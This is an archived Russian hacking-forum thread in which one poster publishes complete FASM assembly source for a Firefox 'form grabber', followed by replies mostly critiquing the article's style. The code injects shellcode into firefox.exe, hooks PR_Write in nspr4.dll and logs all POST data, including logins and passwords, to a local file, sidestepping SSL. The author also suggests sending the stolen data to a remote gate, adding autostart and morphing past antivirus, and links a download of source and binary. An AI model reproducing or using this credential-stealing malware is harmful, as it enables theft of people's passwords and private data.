PDA

Просмотр полной версии : FormGrabber для FireFox своими руками.


krenki
05.02.2010, 16:54
>>>>>>>> Внимание!!! Текс находящийся ниже описывает неописуемо бородатый баян.<<<<<<<<
>>>>>>>>>>>>Осторожно. В тексте используется нецензурная лексика на языке Assembler<<<<<<<<<<<<

Здравствуйте, дорогие низкоуровневые и высокоинтеллектуальные товарищи. Сегодня расскажу Вам, как извлечь полезную информацию из горячо любимого всеми браузера FireFox, а именно собирать всё, что отправляется POST запросом (логины,пароли,сообщения на форумах и соц.сетях и т.д.) Вывод этого имущества будет производится в файл(у нас будет C:\FireFox.txt)
Создадим конкуренцию Зевсу вить у нас получится что-то типа хэнд мэйд модуля для Лисы причём без всяких DLL. Выбирал язык для этих целей с особым извращением. В итоге выбор пал на FASM.

Наша цель:
перехватить(хукнуть) функцию PR_Write, в которую передаются в качестве параметров GET и POST запросы, а так же много чего интересного. Функция находится в DLL модуле nspr4.dll Это всё было обнаружено путём сложных астрономических вычислений и с помощью утилы API Logger (http://wasm.ru/toollist.php?list=16#403) by black ninja.

Для осуществления цели нам понадобиться знания тем:
1)Инжект своего кода в исполняемый процесс.
2)Cплайсинг API.
3)И программирование в стиле шелл код.(т.е. с дельта смещением)

Желание читать куда-то быстро испарилось? Не беда. Все темы хорошо описаны на wasm.ru (http://wasm.ru) , поэтому не вижу смысла тратить время на копи-паст. Ну чтож приступим....
Начнём с зад... извините, с конца, как принято. =)

p_ent PROCESSENTRY32

find_target:
xor esi,esi

.shot:
mov [p_ent.dwSize],sizeof.PROCESSENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi; <<< Делаем снимок процессов.
inc eax
je .not_found
dec eax
xchg eax,edi

invoke Process32First,edi,p_ent ; <<< Берём первый процесс из списка.

; <<<<<<< Начинается перебор пока не найдём процесс под названием firefox.exe.>>>>>>>>>
.next_prc:
xchg eax,ecx
jecxz .not_found ; <<< В списке процессов имя FF не найдено поэтому прыгаем на .not_found

invoke lstrcmpi,p_ent.szExeFile,target_name ; <<< Сравнивание название процесса и переменная в которой лежит строка "firefox.exe".
xchg eax,ecx
jecxz .found ; <<< Если нашли прыгаем на метку .found

invoke Process32Next,edi,p_ent ; <<< Если строки не равны то берётся следующий процесс из списка.
jmp .next_prc

.found: ; <<< Вот она Лиса.
invoke CloseHandle,edi ; <<< Закрываем хэндл.
mov eax,[p_ent.th32ProcessID]; <<< Сохраняем ID процесса в eax.
ret

.not_found: ; <<< FF не найдена.
xor eax,eax ; <<< Обнуляем результат выполнения.
ret
; <<<<<<< Окончание поиска firefox.exe. >>>>>>>>>

; <<<<<<< Внедрение кода в процесс firefox.exe. >>>>>>>>>
inject_code:
xor esi,esi
invoke OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax; <<< Берём хэндл процесса FF.

xchg eax,ecx
jecxz .exit ; <<< Если ошибка то выходим.

xchg ecx,edi ; <<< Хэндл процесса перемещается в edi.

invoke VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE ; <<< Выделяем страничку памяти в процессе.
xchg eax,ecx
jecxz .close_h ; <<< Если неудача то закрываем хэндл.

xchg ecx,ebp ; <<< Хэндл странички перемещается в ebp.

invoke WriteProcessMemory,edi,ebp,remote_thread,thread_en d-remote_thread,esi; <<< Пишем наш код на выделеную страничку.
;remote_thread - указатель на начало внедряемого кода, remote_thread соответствено конец.
dec eax
test eax,eax
jnz .close_h ; <<< Если неудача то закрываем хэндл.
inc eax

invoke CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi; <<< Бацаем удаленный поток в контексте процесса firefox.exe

.close_h:
invoke CloseHandle,edi ; <<< Освобождаем хэндл процесса.

.exit:
ret
; <<<<<<< Внедрение кода в процесс firefox.exe окончено. >>>>>>>>>


start: ; <<< Именно здесь начинает выполняться программа.
call find_target ; <<< Активизируем поиск процесса FF
test eax,eax
je .exit ; <<< Не нашли -> Выходим.


call inject_code; <<< Инжектимся в процесс FF.

.exit:
push 0
call [ExitProcess]; <<< The End... No!!! To be continue.

krenki
05.02.2010, 17:13
remote_thread:
;<<<<<<<<<<<<< Здесь начинается выполнение удаленного потока в процессе FireFox >>>>>>>>>>>>>>>
;<<<<<<<<Найдём дельта смещение>>>>>>>>>>
call delta
delta:
pop ebp;
sub ebp,delta
;<<<<<<<<Дельта смещение теперь находится в ebp>>>>>>>>>>
;"Делта смещение" не страшная штука. Просто его надо добавлять ко всех адресам переменных, если кодиш в стиле шелл кода.
;Вообще шелл кодом называют всё, что внедряется и исполняется в чужом процессе.
;Так же шел коды используются для выполнения команд при переполнении буфера.
;Для таких шелл кодов правила еще строже, например нельзя, чтобы в опкодах были NULL байты, иначе выполнение прекратиться.
;опкод - это шестнадцатеричные(Fuck!) цифры соответствующие асамблерным командам.
;Их можно увидеть с помощью HEX редактора или Дебагера в исполняемом файле exe.
jmp First; <<< Перепрыгиваем через переменные.
;<<<<<<<<Секция переменных.>>>>>>>>>>
KernelBase dd ?
GPAcall dd ?
GMHcall dd ?
HUser32 dd ?
VirtProt dd ?
OldProt db ?
HMod dd ?
hFile dd ?
flbytes dd ?
CreateFileCall dd ?
SetFilePointerCall dd ?
WriteFileCall dd ?
CloseHandleCall dd ?
FuncAdr dd ?
eaxrest dd ?
esprest dd ?
ecxrest dd ?
edxrest dd ?
ebxrest dd ?
edirest dd ?
esirest dd ?
ebprest dd ?
dataadr dd ?
datalen dd ?
;<<<<<<<<Секция переменных закончилась.>>>>>>>>>>
;Для писателей на более высоких языках покажется удивительным, что через переменные надо перепрыгивать. Да это дейсвительно так)
First:
;<<<<<<<<<<<<< Ниже описан один из способов получения начала модуля KERNEL32.DLL >>>>>>>>>>>>>>>
;Не знаю чьё авторство, и точно знаю, что не моё.
;Начало модуля оно же, хэндл, база и адрес модуля.
;Kernel Base ->
xor eax,eax
mov eax,[fs:eax+30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+08h]
mov [KernelBase+ebp],eax
;Kernel Export ->
mov edi,eax
add edi,[eax+3ch]; NTHeader
add edi,78h; DataDirectory
mov esi,[edi]
add eax,esi
;Addres of GetProcAddress in [GPA]

mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
add ebx,[KernelBase+ebp]
mov edx,1
_find:
push ebx
mov ecx,14
mov eax,[ebx]
add eax,[KernelBase+ebp]
mov esi,eax
lea edi,[GPA+ebp]
cld
repe cmpsb
jz _ok
pop ebx
add ebx,4
inc edx
jmp _find
_ok:
xor eax,eax
mov eax,[KernelBase+ebp]

;Kernel Export ->
mov edi,eax
add edi,[eax+3ch]; NTHeader
add edi,78h; DataDirectory
mov esi,[edi]
add eax,esi


;---
mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
add ebx,[KernelBase+ebp]
shl edx,1
add ebx,edx
mov edx,[ebx]
movzx ebx,dx
;------------
sub ebx,1
shl ebx,2
mov eax,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
add eax,[KernelBase+ebp]
add eax,ebx
mov ecx,[eax]
add ecx,[KernelBase+ebp]
mov [GPAcall+ebp],ecx
pop ecx
;----------------End Get Address of GetProcAddress--------
lea ecx,[GMH+ebp]
lea edx,[KernelBase+ebp]
mov edx,[edx]
push ecx
push edx
call [GPAcall+ebp]
mov [GMHcall+ebp],eax
;-------------End Get Address of GetModuleHanle--------
;<<<<<<<<<< Отсюда начинаются собственные разработки >>>>>>>>>>>>>>>>>
;<<<<<<<<<< Получаем адреса WinAPI функций используемых в коде>>>>>>>>>>>>>>>>>
;Получение адресов нужно, потому что мы инжектили код без Таблицы Импорта API функций (IAT).
mov ecx,USER32; <<< В ECX помещается имя модуля, в качестве параметра.
call GetModHandle; <<< Вызов самопальной метки, которая возвращает хэндл модуля.
mov [HUser32+ebp],eax
;----------------- Handle of User32.dll ----------------
mov ecx,VirtualProt;<<< В ECX помещается имя функции, в качестве параметра.
mov eax,KernelBase;<<< В EAX помещается хэндл модуля, в которой находится функа, в качестве параметра.
call GetAddr; <<< Вызов самопальной метки, которая возвращает адрес API функции.
mov [VirtProt+ebp],eax
;----------------- VirtualProtect -----------------
mov ecx,CreateFileStr
mov eax,KernelBase
call GetAddr
mov [CreateFileCall+ebp],eax
;---------------- CreatFileA ---------------------
mov ecx,SetFilePointerStr
mov eax,KernelBase
call GetAddr
mov [SetFilePointerCall+ebp],eax
;----------------- SetFilePointer ------------------
mov ecx,WriteFileStr
mov eax,KernelBase
call GetAddr
mov [WriteFileCall+ebp],eax
;------------------ WriteFile -------------------
mov ecx,CloseHandleStr
mov eax,KernelBase
call GetAddr
mov [CloseHandleCall+ebp],eax
;---------------------- CloseHandle ----------------------
;<<<<<<<<<< Получили все WinAPI функции>>>>>>>>>>>>>>>>>
;<<<<<<<<<< Установка перехвата>>>>>>>>>>>>>>>>>
push NPR ; <<< Пихаем в стёк адрес на который будет происходить JMP
push PR_WriteStr; <<< Название перехватываемой функции
push nspr4; <<< Название модуля перехватываемой функции
call HookAPI; <<< Вызов установки перехвата. (Метка ниже)
ret ; <<< Удалённый поток заканчивается.
;<<<<<<<<<< Установка перехвата закончена>>>>>>>>>>>>>>>>>

;<<<<<<<<<< Этот код выполняется при вызове функции PR_Write(...) в контексте FireFox >>>>>>>>>>>>>>>>>
NPR:
;>>>>>>>>>>>>>>>>Так называемый brige или по нашенски мостик<<<<<<<<<<<<<<<<<<
mov eax, dword[ss:esp+4]
mov ecx, dword [ds:eax]
;>>>>>>>>>>>>>>>>В мостике находятся первые затёртые команды из хукнутой функции<<<<<<<<<<<<<<<<<<
; Мостик нужен для того чтобы не переписывать начало функции по сто раз, что вызывает ошибки в многопоточных приложениях.
;>>>>>>>>>>>>>>>> Знакомая дельта)<<<<<<<<<<<<<<<<<<
call deltax
deltax:
pop edx;
sub edx,deltax
;>>>>>>>>>>>>>>>>Delta<<<<<<<<<<<<<<<<<<
;>>>>>>>>>>>>>>>>Сохраняем регистры, чтобы никто не заметил следов, что мы побывали у них дома.<<<<<<<<<<<<<<<<<<
mov [ebxrest+edx],ebx
mov [edirest+edx],edi
mov [esirest+edx],esi
mov [ecxrest+edx],ecx
mov [ebprest+edx],ebp
mov [eaxrest+edx],eax
;>>>>>>>>>>>>>>>>Save registers<<<<<<<<<<<<<<<<<<
;Не хотелось портить стёк.
;>>>>>>>>>>>>>>>>Самая ответственная часть, здесь копируем параметры функции<<<<<<<<<<<<<<<<<<
mov ebp,edx ; <<< Помещаем дельту в EBP
mov eax,[esp+0x08]; <<< Кладём в EAX адрес начала строки запроса.
.if dword [eax]<>'POST'; <<< Начинается ли запрос на POST?
jmp NoWork; <<< Если нет, скачем на метку NoWork
.endif <<< Если нашли POST то продолжаем выполнять.
mov [dataadr+ebp],eax; <<< В dataadr адрес начала строки запроса.
mov eax,[esp+0x0C]; <<< В EAX длина запроса
mov [datalen+ebp],eax; <<< Теперь в datalen
push [dataadr+ebp]; <<< Кладём в стёк параметр(начала строки запроса)
push [datalen+ebp]; <<< Кладём в стёк параметр(длина запроса)
call WriteToFile; <<< Прыгаем на метку WriteToFile
NoWork:
mov edx,ebp; <<< Возвращаем дельту на место (знаю можно xchg)
;>>>>>>>>>>>>>>>>Get params PR_Write<<<<<<<<<<<<<<<<<<
;>>>>>>>>>>>>>>>>Восстанавливаем регистры<<<<<<<<<<<<<<<<<<
mov ebx,[ebxrest+edx]
mov edi,[edirest+edx]
mov esi,[esirest+edx]
mov ecx,[ecxrest+edx]
mov ebp,[ebprest+edx]
mov eax,[eaxrest+edx]
;>>>>>>>>>>>>>>>>Restore registers<<<<<<<<<<<<<<<<<<
;Не востанавливаю только edx т.к. всё равно в неё потом что то pop'ится :_)
;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
mov edx,[FuncAdr+edx]; <<< В EDX адрес PR_Write()
add edx,$06; <<< Прибавляем к edx смещение от начала в котором находятся JMP XXXXXXXX и INC ECX (6 байт опкода)
jmp edx ; <<< Джампим на edx
;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
ret

krenki
05.02.2010, 17:19
; Список меток на которые ссылается предыдущий код.
GetModHandle: ; <<< мини Самопальная функа для нахождения хендля модулей. Параметр в регистре ecx - имя DLL
lea ecx,[ecx+ebp]
push ecx
call [GMHcall+ebp]
ret

GetAddr: ; <<< Для поиска адреса API функций. ecx-имя функции, eax-хэндл модуля в котором она расположена
lea ecx,[ecx+ebp]
push ecx
lea eax,[eax+ebp]
mov eax,[eax]
push eax
call [GPAcall+ebp]
ret

HookAPI: ; <<< Функция установки перехвата(хука) API
pop edi ; <<< В edi адрес возврата.
pop ecx ; <<< Имя модуля "nspr4.dll"
call GetModHandle; <<< Поиск хэндла модуля.
mov [HMod+ebp],eax
mov eax,HMod; <<< HMod хэндла модуля.
pop ecx; <<< Имя функции для перехвата, т.е. "PR_Write"
call GetAddr; <<< Получаем адрес функции PR_Write.
mov [FuncAdr+ebp],eax; <<< Сохраняем адрес PR_Write в FuncAdr.
lea esi,[OldProt+ebp]; <<< Просто переменная для записи
invoke VirtProt+ebp,[FuncAdr+ebp],6,PAGE_EXECUTE_READWRITE,esi; <<< Ставим права на запись 6 байт после начала PR_Write. API VirtualProtect.
pop edx; <<< Адрес метки на которую будет переходить управление.
lea edx,[edx+ebp]; <<< Выравнивание по дельта смещению.(Первый раз понял смысл этих слов :D)
sub edx,[FuncAdr+ebp]; <<< O_0 и... и... вычитаем из этого добра адресс PR_Write.
sub edx,5; <<< Вобщем формула была взята отсюда http://www.cyberguru.ru/programming/delphi/api-functions-hook-splicing.html
xchg eax,edx; <<< Адрес для прыжка на наш код в EAX.
mov edx,[FuncAdr+ebp]; <<< В EDX адресс PR_Write.
mov byte [edx],$E9; <<< опкод JMP помещается в память по адресу PR_Write.
mov dword [edx+1],eax; <<< по адресу PR_Write со смещением в 1 байт помещается адрес метки NPR.
mov byte [edx+5],$41 ; <<< смещение 5 байт, опкод INC ECX для того что бы не склеились команды.
invoke VirtProt+ebp,[FuncAdr+ebp],6,[esi],esi; <<< Возвращаем памяти её атрибуты. API VirtualProtect.
jmp edi; <<< прыгаем на адрес возврата



WriteToFile:
pop edi; <<< В edi адрес возврата
lea edx,[Namef+ebp]; <<< в EDX Путь до файла для записи
invoke CreateFileCall+ebp,edx,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0h,CREATE_NEW or OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0h
;Создаём или открываем файл.
mov [hFile+ebp],eax
invoke SetFilePointerCall+ebp,[hFile+ebp],0,0,FILE_END; <<< Устанавливаем указатель на конец файла
lea edx,[flbytes+ebp]; <<< Переменная для вывода результата записи.
pop ebx; <<< Размер данных для записи.
pop ecx; <<< Адрес данных.
invoke WriteFileCall+ebp,[hFile+ebp],ecx,ebx,edx,0h; <<< Запись данных в файл.
lea ecx,[EndLine+ebp]
lea edx,[flbytes+ebp]
invoke WriteFileCall+ebp,[hFile+ebp],ecx,1,edx,0h; <<< Запись файл символа окончания строки.
lea edx,[hFile+ebp]
invoke CloseHandleCall+ebp,[edx]; <<< Закрываем хэндл файла.
jmp edi
;<<<<<<<<<< Строковые константы >>>>>>>>>>>>>>>>>
EndLine db 0x0A,0
PR_WriteStr db 'PR_Write',0
nspr4 db 'nspr4.dll',0
Namef db 'C:\FireFox.txt',0
CloseHandleStr db 'CloseHandle',0
WriteFileStr db 'WriteFile',0
SetFilePointerStr db 'SetFilePointer',0
CreateFileStr db 'CreateFileA',0
GPA db 'GetProcAddress',0
GMH db 'GetModuleHandleA',0
USER32 db 'user32.dll',0
VirtualProt db 'VirtualProtect',0
;<<<<<<<<<< Строковые константы >>>>>>>>>>>>>>>>>

thread_end:

Фух... Вот наша крошка готова к применению.

Правда есть несколько минусов.
1) Проверено только на WinXP SP2 т.е. на моей main ОСи.
И естественно только на одной версии FireFox, а именно 3.5.7
2) Пробовал запустить на Варьке, но отказалась. Сразу крэш при выполнении первой инструкции в удалёном потоке. Возможно, после WriteProcessMemory надо изменить атрибуты выделенной страницы на исполнение.
3)Если в FF грузится одновременно много страниц, то происходит крушение браузера.
Хотя если убрать "Самую ответственую часть" то всёбудет пучком.)
4) Палиться проактивкой.
Будем считать, что это защита от применения во вредоносных программах 8)

А теперь сладенькое... :-)```
1)Размер скомпилированного exe без упаковки 2.5 Кбайта. А если сжать FSG, то будет 1.5 Кбайта.
2)Написан на асамблере -> в скорости нет равных.
3)Можно морфить так что родной автор потом свой сорс не узнает.
4)Обходит SSL шифрование.
5)Не имеет побочных эфектов)

Если проявить фантазию то можно посылать награбленный текст мгновенно на гейт с помощью InternetOpenUrlA (http://msdn.microsoft.com/en-us/library/aa385098%28VS.85%29.aspx). Прикрутить автозапуск, сделать инъект в какой-нибудь user процесс, добавить парсер ииииии... просто необходимую вещь как RSA шифрование.

И вообще я за open source трояны к такимже open source браузерам. И лучше чтоб троянец писался у них же и распространялся вместе с обновлениями, подтверждая что FF самый безопасный браузер как и самый безопасный секас по телефону.=)

Сорцы и скомпиленый пример лежат здесь. (http://depositfiles.com/files/h3a8po5fe) pass: 4anti4at Компилятор FASM 1.68

Применение:
1)Запускаем FireFox.
2)Запускаем FF_FormGrabber.exe.
3)Заходим например на https://www.paypal.com/ и логинимся под вымышлеными логином и паролем.
4)Смотрим результат в C:\FireFox.txt

Литература: msdn(OMG)com, Рихтер ,Крис Касперски (не путать с Евгением Касперским, а то увидил в коментах его книги "Ты ч0 иди0т эт0ж американский хакер."), цикл статей "Введение в крэкинг с нуля, используя OllyDbg" (http://wasm.ru/series.php?sid=17), http://www.it-library.org/articles/?c=7, MS-REM, ну и конечно slesh.

Принимаются наставления на путь истинный.

_antony
05.02.2010, 21:48
свалка текста .

slesh
05.02.2010, 21:50
Замечания:
1) Как бы для статьи не катит. Т.е. хоть код и описан, но желательно было бы разбить на отдельные составляющие где описать ход работы и как пашет и небольшие кусочки кода которые это делают.

2) стиль хакер.ru не преветствуется тут. А у тя чуть есть он )
3) Основной исходник если выкладывашь, то целеком в виде ссылки на скачевания или аттаченного файла. ну или в code но чтобы весть сразу помещался.

4) На Си можно написать меньше и быстрее по скорости. ты забываешь то, что сишный компилятор умеет оптимизировать код так, так на асме хрен додумаешься до этого.

Tigger
05.02.2010, 22:01
О, спасибо.
Как раз читал про Сплайсинг, но там бы код на С++) Но спасибо
Статью оформи нормально.

P.S.:
Приведи пример кода на С++, если не сложно!

krenki
05.02.2010, 23:42
2 _antony
Посмотрев на твою тему, вижу что текст там вообще не употребляешь. Приведи пример нормального текста пожалуйста.

2 slesh Спасибо за критику. Хотелось как-то разбавить сухость. Поможешь Tigger? Я в С полный 0.
Заодно посмотрю как компактно выглядит код.
И в следующий раз обязательно разабью.

Alamar
06.02.2010, 13:26
4) На Си можно написать меньше и быстрее по скорости. ты забываешь то......
побойся бога, прога в три строки кода, две из которых шелл код.. не нужен ни какой си, фасм самое то.

m0Hze
06.02.2010, 15:34
побойся бога, прога в три строки кода, две из которых шелл код.. не нужен ни какой си, фасм самое то.
this is true.
Но это даже отдаленно не статья,а кучка кода + история про кота их ксакепа.

krenki
06.02.2010, 17:41
this is true.
Но это даже отдаленно не статья,а кучка кода + история про кота их ксакепа.
Про кучу текста уже понял, с первого поста. Если кто-то захочет высказать эту удивительную мысль ещё раз, то я поверю в колективный разум.) Вообщем не надо флуда. Если есть конкретные предложения по поправке КОДА, то принимаються любые корективы. Или кто осмелиться переписать код на Си буду только рад.

Alamar
06.02.2010, 18:04
нормальная статья, не надо ни чего менять тем более переписывать на си